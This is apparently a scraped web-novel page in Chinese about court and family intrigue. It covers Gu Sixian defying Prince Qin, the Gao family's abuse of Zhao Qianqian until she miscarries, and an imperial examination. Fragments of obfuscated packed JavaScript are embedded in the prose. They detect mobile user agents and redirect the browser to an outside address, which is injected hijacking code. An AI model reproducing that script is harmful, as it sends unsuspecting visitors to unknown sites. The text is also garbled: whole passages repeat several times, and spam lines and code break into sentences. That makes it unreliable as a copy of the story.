“你……你竟敢打我!”沈安锦声音颤抖,带着哭腔指控。 秦王见状,怒火中烧,一把将沈安锦拉到身后,眼神如利刃般射向顾思娴。 “顾思娴,你好大的胆子!在本王面前也敢如此放肆!” 顾思娴面色平静,目光直视秦王,没有丝毫畏惧。 “王爷不是要我道歉吗?” “这道歉,王爷可满意?” 秦王被顾思娴的话噎得一时语塞,他从未见过如此强硬且有理有据的顾思娴,以往那个温顺守礼的王妃形象在他心中渐渐模糊。 沈安锦拉着秦王的衣袖,扬起被打得显眼的巴掌印,哭得梨花带雨。 “王爷,这都是锦儿的错,怪不得姐姐,是锦儿身份卑微惹了姐姐生气……………” 秦王看着她脸上的巴掌印,转身带着怒气的抬手。 “顾思娴,今日本王就好好的教训教训你…………” 眼看耳光就要落下来,顾思娴眼里没有半分的惧色,反而扬起了脸。 “王爷你打啊!” “这一巴掌要是落下来,我就立即带着一脸伤回将军府。” “当初这庄婚事不是我顾思娴要的,是你和高家合计的,皇权为尊,我顾思娴自认倒霉,也规规矩矩的当着秦王妃,但是王爷你要纵容一个妾室踩我顾家嫡女的脸面,就不要怪我跟你撕破脸。” 秦王深吸一口气,努力平复自己的情绪,他看向顾思娴,语气虽仍带着怒气,却多了几分理智。 “顾思娴,即便锦儿说话不当,你也不该当众掌掴她,这成何体统?” 顾思娴微微一笑,那笑容中带着几分嘲讽。 “心术不正,挑拨是非,离间我与王爷的关系,她该打。” “王爷若是心疼,往后就让她看见我的时候,躲得远远的,不要再出现我的在我的面前,对于心术不正之,我看了会犯恶心。” 说完就带着素素朝外走去。 看着她疾步离去的背影,秦王黑着脸质问。 “顾思娴,你要去哪里?” 顾思娴并没有停下脚步,冷声开口。 “被人恶心到了,回娘家散心。” 看着这样的顾思娴,秦王总感觉有什么东西好像失控了。 “顾思 你的朋友正在书荒,快去帮帮他吧 娴,你可是秦王妃,既然你求了晚宁和本王的婚事,你不应该亲自操办吗?” 顾思娴闻言回头冷笑着看了秦王一眼。 “王爷与高小姐的婚事自然有礼部操办。” 说完就疾步离开。 秦王原本还准备说什么,沈安锦拉着他可怜兮兮的开口。 “王爷,锦儿的脸好疼啊!” “锦儿会不会毁容了?” “王爷你会不会不要锦儿了。” 秦王看着她已经肿了的脸,眼里闪过一抹心疼,牵起她的手。 “傻瓜,本王怎么会不要你呢?” “走吧,本王先给你上药。” 沈安锦回头看了一眼即将踏出府门的顾思娴,眼里都是恨意。 这个**。 顾家。 顾夫人看着回来的顾思娴一脸的笑意。 “思娴。” 顾思娴上前握住顾夫人的手。 “母亲。” 看着清瘦的女儿,顾夫人眼里的都是心疼。 “听说贵妃娘娘宣你进宫了,你有没有被为难。” 顾思娴也没有隐瞒自己母亲。 “母亲放心,女儿还能应付。” “人可接回来了?” 顾夫人拉着顾思娴朝内院走去。 “你是母亲的掌中宝啊,你说的事情母亲肯定是会给你办妥的。” “思雨已经接回来了,她的母亲已经安排大夫看诊过了,现在人养在母亲的庄子上,让人好吃好喝的伺候着。” 顾思娴闻言看着顾夫人眼里带着感激。 “多谢母亲。” 顾夫人伸手笼络了一下她耳边的碎发。 “孩子,你怎么还会跟母亲说谢?” “母亲知道,你的婚事,是母亲无能,才会让你嫁给不喜欢的人,皇权至上,这也是顾家的无能。” 顾家的难处自己又何尝不知道? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“思雨见过长姐。” 顾思娴朝屋里走去,这屋里是按照庶女的格式布置的,并不奢华,但是也什么都有。 坐在椅子上,看向顾思雨。 “母亲身边的嬷嬷应该给你讲清楚了,可我还是想亲自问你一遍,你当真愿意进秦王府,替我生一个孩子?” 想到在老家的时候嫡母的压迫,姨娘连抓药的银子都没有,若不是大伯母派人去的及时,自己就要失去姨娘了,没有了姨娘,自己一个孤女,婚事还不知道被如何算计呢,顾思雨眼里带着一抹坚定。 “思雨愿意。” “只求长姐能够兑现承诺,治好我姨娘的病。” 顾思娴看着她继续开口。 “女子的姻缘是一辈子的大事,你进了秦王府,这辈子就只能是秦王的妾了。” 顾思雨苦笑一下。 “亲事而已,对比我姨娘的性命来说不算什么。” “更何况若不是伯母派人将我和姨娘从老家接来皇城,只怕现在姨娘已经丢下了我,甚至被嫁给老头子当妾。” “长姐放心,思雨虽然只是一个庶女,但是认得清楚自己几斤几两,为长姐做事,就是我现在最好的选择。” 果然是一个通透的,但愿这个堂妹能够一直通透。 “既然你已经想清楚了,以后你就别喊我母亲伯母了,你应该喊她一声母亲。” “你的姨娘养在庄子上,病情已经有了好转,你放心,只要你能够一直都看得明白,你和你的姨娘都会好好的。” 顾思雨闻言福身道。 “思雨多谢长姐。” 丞相府。 高夫人看着手里的圣旨,还有这一屋子的赏赐,脸上总算有了一抹笑意。 “晚宁,果然你姑母是疼爱你的。” “皇上的赐婚圣旨刚下来,你姑母就让人给你送了这么多赏赐来。” 高晚宁却看了一眼地上的那些箱子,只见里面都是珠光宝气,一脸平静的开口。 “我的婚事也算是定下来了,我知道这些日子母亲为了**心坏了,现在母亲也可以好好的休息休息了。” 高夫人闻言开口道。 “你这孩子,哪有当母亲的不为孩子操心的。” “眼下你的婚事是定下来了,可是这嫁妆………” “虽然有了你姑母的赏赐,可是这些东西根本就不够,你是高家的嫡女,这嫁妆一定要十里红妆的。” 自己进 秦王府为的是复仇,嫁妆不嫁妆的已经无所谓了,高晚宁开口道。 “母亲,姑母赏赐的这些东西已经够了,去了秦王府以后,总不能偌大的秦王府还好,少了女儿的吃穿。” 高夫人闻言怪嗔的看着高晚宁开口。 “你这孩子,母亲看你是这几日气糊涂了,你可是要去秦王府掌管中馈的,秦王府的那些下人都是需要打赏的,当家主母新上任,只有实实在在地将手中的银子赏赐下去,底下的人才会实实在在的办事。” 高晚宁听了无奈的开口。 “可是母亲,咱们府中没什么银子………” 高夫人开口道。 “你是不是傻?咱们现在府中可是你嫂子当家,她身为长嫂,为你置办嫁妆本就是应该的。” 此时丫鬟走进来行礼。 “夫人,小姐,公子和少夫人来了。” 只见高晚意与赵钱钱以前走进来。 赵钱钱的神色带着几分疲惫。 “见过母亲。” 高夫人冷淡的看了她一眼。 “坐下说话吧。” “这些日子跟嬷嬷学规矩学的怎么样了?” 赵钱钱微微垂首,恭敬答道。 “回母亲的话,儿媳跟着嬷嬷学规矩已有一些时日,嬷嬷教导得极为细致,儿媳也用心在学习,只是儿媳愚钝,尚有许多不足。” 高夫人轻轻哼了一声,目光在赵钱钱身上打量了一番。 “学规矩可不是一朝一夕的事,你身为高家的长媳,你现在掌管整个府中的事务,一言一行都代表着高家的门面,公主有心让宫里嬷嬷教导你,你就好好的学。” 赵钱钱心中一紧,忙起身福了一福。 “儿媳谨记母亲的教诲。” 看着她恭顺的模样,高夫人这才继续开口。 “晚宁的婚事该准备起来了,你身为丞相府的少夫人,婚宴筹办还是晚宁的嫁妆的事情就交给你了。” 高晚意也开口道。 “钱钱,既然母亲看重你,那你就用心将晚宁的婚姻操持好吧。” 自从自己进了丞相府,就一直在花自己的嫁妆,现在若是给晚宁置办嫁妆,自己的嫁妆怕是要花掉一半,赵钱钱低头福身。 “母亲,儿媳这些日子还在跟着嬷嬷学规矩,有些力不从心了,这晚宁的婚事还是母亲来操办吧。” 高夫人眉头一皱,脸色瞬间沉了下来,目光如炬地盯着赵钱钱,语气中带着几分不悦。 “力不从心? 赵钱钱,你身为高家的长媳,这些本就是你分内之事。如今晚宁的婚事迫在眉睫,你倒好,一句力不从心就想推脱?这像什么话!” 赵钱钱感受到高夫人话语中的严厉,心中一颤,连忙解释道。 “母亲,儿媳绝非有意推脱,只是儿媳初入高家,平日里处理琐事已经是用尽全力了,且近日学习规矩确实耗费了不少精力,唯恐误了晚宁的婚事大事。” 这是不想给晚宁办嫁妆,高夫人脸色彻底沉了下来。 高晚意见状开口道。 “钱钱你怎么能够惹母亲生气呢?快给母亲道歉!” 又是道歉,每次都这样,明明自己什么也没有做错,但是只要高家有任何一个人不高兴了,自己就得道歉,赵钱钱忍不住红了眼眶。 “惹母亲不高兴了是儿媳的不是,儿媳这就回房思过。” 说完福身退下。 高夫人一巴掌拍在桌子上。 “好啊,都敢跟自己的婆母甩脸色了,果然商户之女就是不懂规矩,上不得台面的东西。” 随即目光看向高晚意。 “晚意,你这个妻子你该好好的教训教训了,仕途上不能为你带来帮助就算了,连家中的事情都管不好,有什么资格当高家的媳妇?” 高晚意闻言拱手道。 “母亲你放心,儿子这就回去好好的说说她的,晚宁的嫁妆她身为长嫂,这是应该她置办的。” 待高晚意离开。 高夫人才吩咐道。 “孙嬷嬷,跟宫里的嬷嬷好好喝喝茶,少夫人的规矩学的太慢了,虽然她是高家的少夫人,可这规矩学不好的时候该罚就罚。” 太子府。 剑兰朝沈安若拱手。 “主子。” “关于之前的谣言,除了我们推动意外,属下发现其中秦王府还有两拨人推动。” 赵钱钱,你身为高家的长媳,这些本就是你分内之事。如今晚宁的婚事迫在眉睫,你倒好,一句力不从心就想推脱?这像什么话!” 赵钱钱感受到高夫人话语中的严厉,心中一颤,连忙解释道。 “母亲,儿媳绝非有意推脱,只是儿媳初入高家,平日里处理琐事已经是用尽全力了,且近日学习规矩确实耗费了不少精力,唯恐误了晚宁的婚事大事。” 这是不想给晚宁办嫁妆,高夫人脸色彻底沉了下来。 高晚意见状开口道。 “钱钱你怎么能够惹母亲生气呢?快给母亲道歉!” 又是道歉,每次都这样,明明自己什么也没有做错,但是只要高家有任何一个人不高兴了,自己就得道歉,赵钱钱忍不住红了眼眶。 “惹母亲不高兴了是儿媳的不是,儿媳这就回房思过。” 说完福身退下。 高夫人一巴掌拍在桌子上。 “好啊,都敢跟自己的婆母甩脸色了,果然商户之女就是不懂规矩,上不得台面的东西。” 随即目光看向高晚意。 “晚意,你这个妻子你该好好的教训教训了,仕途上不能为你带来帮助就算了,连家中的事情都管不好,有什么资格当高家的媳妇?” 高晚意闻言拱手道。 “母亲你放心,儿子这就回去好好的说说她的,晚宁的嫁妆她身为长嫂,这是应该她置办的。” 待高晚意离开。 高夫人才吩咐道。 “孙嬷嬷,跟宫里的嬷嬷好好喝喝茶,少夫人的规矩学的太慢了,虽然她是高家的少夫人,可这规矩学不好的时候该罚就罚。” 太子府。 剑兰朝沈安若拱手。 “主子。” “关于之前的谣言,除了我们推动意外,属下发现其中秦王府还有两拨人推动。” 赵钱钱,你身为高家的长媳,这些本就是你分内之事。如今晚宁的婚事迫在眉睫,你倒好,一句力不从心就想推脱?这像什么话!” 赵钱钱感受到高夫人话语中的严厉,心中一颤,连忙解释道。 “母亲,儿媳绝非有意推脱,只是儿媳初入高家,平日里处理琐事已经是用尽全力了,且近日学习规矩确实耗费了不少精力,唯恐误了晚宁的婚事大事。” 这是不想给晚宁办嫁妆,高夫人脸色彻底沉了下来。 高晚意见状开口道。 “钱钱你怎么能够惹母亲生气呢?快给母亲道歉!” 又是道歉,每次都这样,明明自己什么也没有做错,但是只要高家有任何一个人不高兴了,自己就得道歉,赵钱钱忍不住红了眼眶。 “惹母亲不高兴了是儿媳的不是,儿媳这就回房思过。” 说完福身退下。 高夫人一巴掌拍在桌子上。 “好啊,都敢跟自己的婆母甩脸色了,果然商户之女就是不懂规矩,上不得台面的东西。” 随即目光看向高晚意。 “晚意,你这个妻子你该好好的教训教训了,仕途上不能为你带来帮助就算了,连家中的事情都管不好,有什么资格当高家的媳妇?” 高晚意闻言拱手道。 “母亲你放心,儿子这就回去好好的说说她的,晚宁的嫁妆她身为长嫂,这是应该她置办的。” 待高晚意离开。 高夫人才吩咐道。 “孙嬷嬷,跟宫里的嬷嬷好好喝喝茶,少夫人的规矩学的太慢了,虽然她是高家的少夫人,可这规矩学不好的时候该罚就罚。” 太子府。 剑兰朝沈安若拱手。 “主子。” “关于之前的谣言,除了我们推动意外,属下发现其中秦王府还有两拨人推动。” 赵钱钱,你身为高家的长媳,这些本就是你分内之事。如今晚宁的婚事迫在眉睫,你倒好,一句力不从心就想推脱?这像什么话!” 赵钱钱感受到高夫人话语中的严厉,心中一颤,连忙解释道。 “母亲,儿媳绝非有意推脱,只是儿媳初入高家,平日里处理琐事已经是用尽全力了,且近日学习规矩确实耗费了不少精力,唯恐误了晚宁的婚事大事。” 这是不想给晚宁办嫁妆,高夫人脸色彻底沉了下来。 高晚意见状开口道。 “钱钱你怎么能够惹母亲生气呢?快给母亲道歉!” 又是道歉,每次都这样,明明自己什么也没有做错,但是只要高家有任何一个人不高兴了,自己就得道歉,赵钱钱忍不住红了眼眶。 “惹母亲不高兴了是儿媳的不是,儿媳这就回房思过。” 说完福身退下。 高夫人一巴掌拍在桌子上。 “好啊,都敢跟自己的婆母甩脸色了,果然商户之女就是不懂规矩,上不得台面的东西。” 随即目光看向高晚意。 “晚意,你这个妻子你该好好的教训教训了,仕途上不能为你带来帮助就算了,连家中的事情都管不好,有什么资格当高家的媳妇?” 高晚意闻言拱手道。 “母亲你放心,儿子这就回去好好的说说她的,晚宁的嫁妆她身为长嫂,这是应该她置办的。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16249611|181028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >待高晚意离开。 高夫人才吩咐道。 “孙嬷嬷,跟宫里的嬷嬷好好喝喝茶,少夫人的规矩学的太慢了,虽然她是高家的少夫人,可这规矩学不好的时候该罚就罚。” 太子府。 剑兰朝沈安若拱手。 “主子。” “关于之前的谣言,除了我们推动意外,属下发现其中秦王府还有两拨人推动。” 赵钱钱,你身为高家的长媳,这些本就是你分内之事。如今晚宁的婚事迫在眉睫,你倒好,一句力不从心就想推脱?这像什么话!” 赵钱钱感受到高夫人话语中的严厉,心中一颤,连忙解释道。 “母亲,儿媳绝非有意推脱,只是儿媳初入高家,平日里处理琐事已经是用尽全力了,且近日学习规矩确实耗费了不少精力,唯恐误了晚宁的婚事大事。” 这是不想给晚宁办嫁妆,高夫人脸色彻底沉了下来。 高晚意见状开口道。 “钱钱你怎么能够惹母亲生气呢?快给母亲道歉!” 又是道歉,每次都这样,明明自己什么也没有做错,但是只要高家有任何一个人不高兴了,自己就得道歉,赵钱钱忍不住红了眼眶。 “惹母亲不高兴了是儿媳的不是,儿媳这就回房思过。” 说完福身退下。 高夫人一巴掌拍在桌子上。 “好啊,都敢跟自己的婆母甩脸色了,果然商户之女就是不懂规矩,上不得台面的东西。” 随即目光看向高晚意。 “晚意,你这个妻子你该好好的教训教训了,仕途上不能为你带来帮助就算了,连家中的事情都管不好,有什么资格当高家的媳妇?” 高晚意闻言拱手道。 “母亲你放心,儿子这就回去好好的说说她的,晚宁的嫁妆她身为长嫂,这是应该她置办的。” 待高晚意离开。 高夫人才吩咐道。 “孙嬷嬷,跟宫里的嬷嬷好好喝喝茶,少夫人的规矩学的太慢了,虽然她是高家的少夫人,可这规矩学不好的时候该罚就罚。” 太子府。 剑兰朝沈安若拱手。 “主子。” “关于之前的谣言,除了我们推动意外,属下发现其中秦王府还有两拨人推动。” 赵钱钱,你身为高家的长媳,这些本就是你分内之事。如今晚宁的婚事迫在眉睫,你倒好,一句力不从心就想推脱?这像什么话!” 赵钱钱感受到高夫人话语中的严厉,心中一颤,连忙解释道。 “母亲,儿媳绝非有意推脱,只是儿媳初入高家,平日里处理琐事已经是用尽全力了,且近日学习规矩确实耗费了不少精力,唯恐误了晚宁的婚事大事。” 这是不想给晚宁办嫁妆,高夫人脸色彻底沉了下来。 高晚意见状开口道。 “钱钱你怎么能够惹母亲生气呢?快给母亲道歉!” 又是道歉,每次都这样,明明自己什么也没有做错,但是只要高家有任何一个人不高兴了,自己就得道歉,赵钱钱忍不住红了眼眶。 “惹母亲不高兴了是儿媳的不是,儿媳这就回房思过。” 说完福身退下。 高夫人一巴掌拍在桌子上。 “好啊,都敢跟自己的婆母甩脸色了,果然商户之女就是不懂规矩,上不得台面的东西。” 随即目光看向高晚意。 “晚意,你这个妻子你该好好的教训教训了,仕途上不能为你带来帮助就算了,连家中的事情都管不好,有什么资格当高家的媳妇?” 高晚意闻言拱手道。 “母亲你放心,儿子这就回去好好的说说她的,晚宁的嫁妆她身为长嫂,这是应该她置办的。” 待高晚意离开。 高夫人才吩咐道。 “孙嬷嬷,跟宫里的嬷嬷好好喝喝茶,少夫人的规矩学的太慢了,虽然她是高家的少夫人,可这规矩学不好的时候该罚就罚。” 太子府。 剑兰朝沈安若拱手。 “主子。” “关于之前的谣言,除了我们推动意外,属下发现其中秦王府还有两拨人推动。” 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信中所说长姐也按照自己之前给的训练法开始训练月清城的兄弟们而且月清城现在大量招募人房屋也越建越多不过目前都是以住房为主。 看完信以后沈安若又打开包袱看着沈安昕给她做的衣服满眼笑意。 “姨母帮我把这些衣服首饰好好的收好。” 然后看向陆今也。 “你快坐吧。” “一路奔波肯定很累了。” “玉儿给陆公子上茶。” “再让厨房准备吃的。” 陆今也闻言拱手道。 “多谢公主。” 然后才在一旁坐下。 沈安若看着他笑着开口。 “不是让你在幽州帮衬着长姐吗?你怎么会来皇城?” 陆今也闻言看着沈安若开口。 “幽州那边已经谈好了几个靠谱的粮食商户大小姐定期交银子拿粮食就行而且大小姐看账也很厉害的我们的酒楼也正常运行了大小姐说公主这边或许更需要我我就来皇城了。” 沈安若闻言点了点头。 “果然还是姐姐想着我。” 陆今也喝了一杯茶润了润嗓子。 “原本属下早就出发了的沿路想着了解一下天元的经商情况这才耽搁了。” 听说看这本书的人都是很幸运的,分享后你的运气会更棒 “公主属下发现天元虽然是大国可是商户背后都是有人的若是当地的地方官有意为难不论是酒楼还是布庄都很难开下去。” 沈安若闻言沉思片刻。 “**结这倒是也不算奇事不过这样一来你在天元行商只怕是没有那么容易了。” 陆今也点了点头。 “公主预料不错原本属下准备来的路上想买下酒楼或者铺子先经营着也算是给公主一个惊喜没想到在梧州就受阻了。” “所以只好放弃了那个想法先来见公主。” 有地方关会干涉商人这要经商的确是一个麻烦而且陆今也所营业的首饰铺子酒楼多少都会带一点南诏的异域风情特色 “今也你最近不用考虑生意的事情本宫让玉儿给你取一笔银子你就在皇城吃喝玩乐熟悉一番最好多结交一些商户了解一下天元的商业情况开店铺的事情咱们从长计议。” “玉儿带陆公子下去休息。” 陆今也闻言拱手道。 “是。” 玉儿也上前。 “陆公子跟奴婢来。” 沈安若看着陆今也的背影陆今也乃是南诏人想要在天元行商只怕阻碍比天元人行商阻碍更多虽然太子府可以给他撑腰可太子府这个名声太招摇了若是处理不当只怕是会给商玄澈带来一些不必要的麻烦。 “姨母再有三天就是春闱放榜了对吧。” 王司记闻言回答道。 “是的再有三天就放榜了。” 沈安若缓缓开口。 “本宫来天元也有一些日子了跟各夫人千金都不熟咱们太子府也是时候办一场宴会了。” “太子府也多年不曾办宴会既然要办那就办的大一些姨母你准备请帖宴请皇城所有的官员夫人们这场宴会就叫美食宴以天元和南诏的美食为主。” 时间一晃到了春闱放榜以后殿试这一天。 太极殿内。 天元皇坐在主位。 太子与秦王坐在两侧。 殿试现场气氛庄重而肃穆三位考生身着整洁的儒衫头戴方巾神情或紧张或自信地站立在大殿之中。 这是这次春闱的状元榜眼探花。 天元皇目光威严地扫视着下方几人缓缓开口道。 “诸位皆是经过层层选拔脱颖而出的佼佼者望尔等能畅所欲言展所学之才为 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 朕分忧,为天下谋福。” “这殿试第一题,就让秦王来出吧。” 一旁的秦王起身。 “历年来,北方都会出现旱灾问题,今年夏季即将来临,若是再次干旱,几位可有解决的法子?” 商玄澈看了一眼天元皇,又看了看出题的秦王。 历来的殿试,都是由皇上或者储君来出,陛下还真是时时刻刻都不忘展现自己对秦王的偏宠。 状元苏明渊率先上前一步,拱手作揖,神情从容不迫,朗声道。 “陛下,秦王殿下,依臣之见,若北方夏季再遇旱灾,当未雨绸缪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16255893|181028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。其一,可于北方各郡县广修水利,疏浚河道,挖掘深井,确保在干旱之时能有充足水源灌溉农田。其二,推广耐旱作物,鼓励百姓种植,如此即便干旱,也能有一定收成。其三,建立粮食储备制度,于丰年之时大量收购粮食储存,待灾年之时开仓放粮,赈济灾民,稳定民心。” 天元皇微微点头,目光中露出一丝赞许,又看向榜眼张连瑾。 “张爱卿,你有何见解?” 张连瑾拱手道。 “回皇上的话……………” 大殿外。 中了传胪的宋淮之正在拿着册子高声宣读。 “此次春闱前三甲分别有慕行,邵阳,潘伟……………” 随着外面的名字宣读完,里面的状元榜眼探花也分别道出来了自己不同的见解。 天元皇微微颔首,目光在三位考生身上流转,脸上浮现出一抹不易察觉的笑意,随后缓缓开口。 “诸位所言皆有道理,朕深感欣慰,秦王对于北方干旱问题几位关心,你们可以多交流交流,若是今年能够解决历年的干旱问题,也是大功一件。” 看来皇上最看重的还是秦王啊,几人急忙朝秦王拱手。 “以后还请秦王殿下多多指教。” 秦王客气的开口。 “都是为朝堂效力,往后我们一起多尽心才是。” 天元皇见状脸上带着笑意的点了点头,目光看向商玄澈又冰冷了起来。 “这第二题,便由太子来出吧。” 商玄澈站起身来,身姿挺拔如松,他目光沉稳,扫视了殿下的考生一眼,缓缓说道。 “本宫的题很简单,居安思危,若边疆突发战事,需大量粮草军饷,而国库一时难以调拨充足,几位可有良策?” 高家。 赵钱钱此时头上顶着一碗水,身子呈半蹲的形式,头上已经有了细细的汗珠,甚至脸色带着几分苍白。 “嬷嬷,我实在是身子不适,还请嬷嬷让我休息一会。” 嬷嬷坐在一旁,看着赵钱钱一脸的不屑,什么东西也配跟公主挣? “少夫人,大户人家的夫人行走的时候步摇不可晃动,你这规矩都学了几月了,却依旧走个路都能出差错,若是老奴再不严格一些,如何给平阳公主交代?还请少夫人好好的学习,莫要让老奴为难!” 说完还抬起桌子上的茶杯喝了一口茶。 自己虽然出身商户,可是进了丞相府以后也参加过一些宴会,明明自己的礼仪已经学的不差不多了,可是嬷嬷近日一直鸡蛋里面挑骨头不停的为难,小腹处隐隐传来疼痛,赵钱钱皱着眉头再次请求。 “我没有要让嬷嬷为难的意思,我是真的身子不……………” 还未说完,人就一下子摔在了地上……… 第一百四十六章 不要脸的高家 丫鬟雪儿着急的去扶赵钱钱。 “少夫人…………” 嬷嬷见状,手中的茶杯“哐当”一声放在桌上,站起身来,一脸怒容。 “少夫人,你这是何意?故意摔给老奴看吗?老奴可不是少公子,懂不得怜香惜玉,少夫人还是起来继续练习吧,若是学不好规矩,日后如何在这高门大户里立足,又如何能伺候好少公子!” 雪儿看着赵钱钱晕过去了,脸色苍白,整个人慌乱的开口。 “嬷嬷,我们少夫人是真的晕过去了。” 忽然雪儿看到了赵钱钱的裙子上有了血迹,眼里一慌。 “少夫人流血了!” “我的天啊……………快来人啊,快去请大夫,请公子……………” 等到赵钱钱再醒过来,抬头就看到了自己熟悉的床幔。 雪儿着急的声音响起。 “少夫人,你可算是醒了。” “我这就去告诉公子。” 记得今日学规矩的时候只感觉腹痛,然后就想请求嬷嬷让自己休息一会,没想到就晕过去了,想到自己这个月还没有来月信,赵钱钱忍不住眼里闪过一抹希望,如果自己有了孩子,高家会不会对自己好一些? 见高晚意进来,赵钱钱摸着自己的肚子。 “夫君,我们是不是有孩子了?” 高晚意坐在床边的凳子上叹了一口气。 “是有了,可是又没有了。” 赵钱钱听到高晚意的话,原本带着一丝期待与柔光的眼睛瞬间黯淡下去,整个人仿佛被抽走了所有的力气,说话的声音带着几分颤抖。 “夫君……这是什么意思?” “什么叫做又没有了?” 高晚意看着她憔悴又脆弱的模样,心中闪过一丝不忍,但很快又恢复了那副淡漠的神情。 “大夫说,你这一胎本就坐得不稳,加上你今日不小心,孩子就没有了。” 眼泪从赵钱钱的眼角滚落下来,偏头看着高晚意。 “夫君,若不是嬷嬷今日一直要体罚我,我们的孩子根本就不会有事。” “我已经几次给嬷嬷说了我身子不适,可是嬷嬷还是不许我休息。” 高晚意听了沉默了一下。 “孩子以后还会有的。” 赵钱钱听着眼里带着一抹不可置信。 “夫君,这也是你的孩子,还是你的第一个孩子,你就这么算了?” 高晚意无奈的上前伸手握住她的手。 “ 嬷嬷到底是宫里的嬷嬷,而且她也不知道你有孕在身,我会去与嬷嬷说一说,你现在没有了孩子,规矩就暂时不学了,等你养好了身子再…………” 他还当真是一点都不在乎孩子,更不在乎自己,明明当初是他自己上赵家求娶的,可是自从成亲以后,他对自己一直都是冷冷淡淡的,对自己每一次的委屈都视而不见,赵钱钱松开了高晚意的手。 “到底是因为她是宫里的嬷嬷,还是因为她是平阳公主安排的人?” 高晚意听了神色冷了下来。 “钱钱,我知道失去了孩子你心里难过,可你也不能胡说。” 赵钱钱闻言抬头看着高晚意。 “是我胡说吗?” “当初夫君去赵家求娶的时候说了是心悦我,不在乎门第,可是进门以后却对我冷冰冰的,也不曾关心我,如今,就连我们的孩子被人害**,你也是一句轻飘飘的孩子还会再有的,夫君若是当真看不上我,当初又何必上门求娶?” 高晚意面色阴沉,眉头紧锁,似乎对赵钱钱这番直白的质问极为不悦。 “钱钱,你莫要无理取闹。我高家乃名门望族,规矩众多,嬷嬷教导你也是为你好。如今孩子没了,我心里也不好受,你莫要再揪着此事不放。” 赵钱钱只觉心如刀绞,眼泪一颗颗滚落。 “为我好?我的礼仪规矩真的那么差吗?我可是你的夫人,当真得任人体罚?” “高晚意,我对你来说算什么?” 进来的高夫人刚好听到赵钱钱的质问,脸色一下子就沉了下来。 “赵钱钱,你这些日子学的规矩都学到狗肚子里去了,女子以夫为天,如此对自己的夫君大吼大叫的成何体统?” 赵钱钱不敢跟高夫人刚,只能把头偏去一边,委屈的眼泪一颗又一颗的滚落,砸在了枕头上。 高夫人看着她这懦弱的样子,心里更加不悦,这样的人怎么配当高家的少夫人? “身为妻子,在外没办法替自己的夫君撑起颜面,在内管不好家宅内院,如今更是连高家的嫡长子你都保护不了,你有什么资格闹?” 明明自家的小姐刚刚失去孩子,高家的人没有一个人心疼,还说话如此刺激小姐,雪儿心疼的开口。 “夫人,根本就不是少夫人的错,少夫人已经几次说过自己身子不适了,是嬷嬷………” 看着为赵钱钱说话的雪儿,高夫人厉声开口。 “闭嘴。” “主子说话你一个丫鬟有什么资格插嘴?” “来人,将这个丫鬟拉下去打二十大板,少夫人都照顾不好,还敢跟主子顶嘴,简直就是无法无天了。” 赵钱钱见状,也顾不得自己身体的虚弱,强撑着从床上坐起来,想要下床护住雪儿。 “母亲,是儿媳管教无方,雪儿她也是心疼儿媳,求您饶了她这一次吧………” 高夫人却不为所动,冷冷地看着赵钱钱。 “赵钱钱,念在你刚没了孩子,才不罚你,你的丫鬟目无尊卑,今日你休要阻拦。” “来人,还不快把这个不懂规矩的丫鬟拉下去!” 几个粗使婆子应声而上,就要去拉雪儿。 赵钱钱心急如焚,也不知哪来的力气,猛地挣脱开扶着她的手,挡在了雪儿身前。 “母亲,雪儿不过就是心疼我罢了,若您今日非要责罚雪儿,便连儿媳一起责罚了吧!” 高夫人被赵钱钱这突如其来的举动气得浑身发抖,指着她怒道。 “你……你简直是目无尊长,反了天了!” 高晚意见状,心中虽对赵钱钱有些不满,但也不愿事情闹得太大,毕竟赵钱钱刚刚失去孩子,此时若再闹出什么风波,对高家名声也不好。 “母亲,钱钱她刚刚小产,心情难免激动,您就饶了雪儿这一次吧,也算给钱钱一个面子。” 高夫人听了高晚意的话,脸色稍稍缓和了一些,但依旧余怒未消。 “赵钱钱,你应该庆幸我儿子护着你。” “高家的孩子你都保不住,以后你就留在自己的院子里闭门思过吧,管家之权你就交出来吧。” “到底你也是高家的儿媳妇,你的那些嫁妆铺子,我也暂时替你打理了。” “来人,将这个丫鬟拉下去打二十大板,少夫人都照顾不好,还敢跟主子顶嘴,简直就是无法无天了。” 赵钱钱见状,也顾不得自己身体的虚弱,强撑着从床上坐起来,想要下床护住雪儿。 “母亲,是儿媳管教无方,雪儿她也是心疼儿媳,求您饶了她这一次吧………” 高夫人却不为所动,冷冷地看着赵钱钱。 “赵钱钱,念在你刚没了孩子,才不罚你,你的丫鬟目无尊卑,今日你休要阻拦。” “来人,还不快把这个不懂规矩的丫鬟拉下去!” 几个粗使婆子应声而上,就要去拉雪儿。 赵钱钱心急如焚,也不知哪来的力气,猛地挣脱开扶着她的手,挡在了雪儿身前。 “母亲,雪儿不过就是心疼我罢了,若您今日非要责罚雪儿,便连儿媳一起责罚了吧!” 高夫人被赵钱钱这突如其来的举动气得浑身发抖,指着她怒道。 “你……你简直是目无尊长,反了天了!” 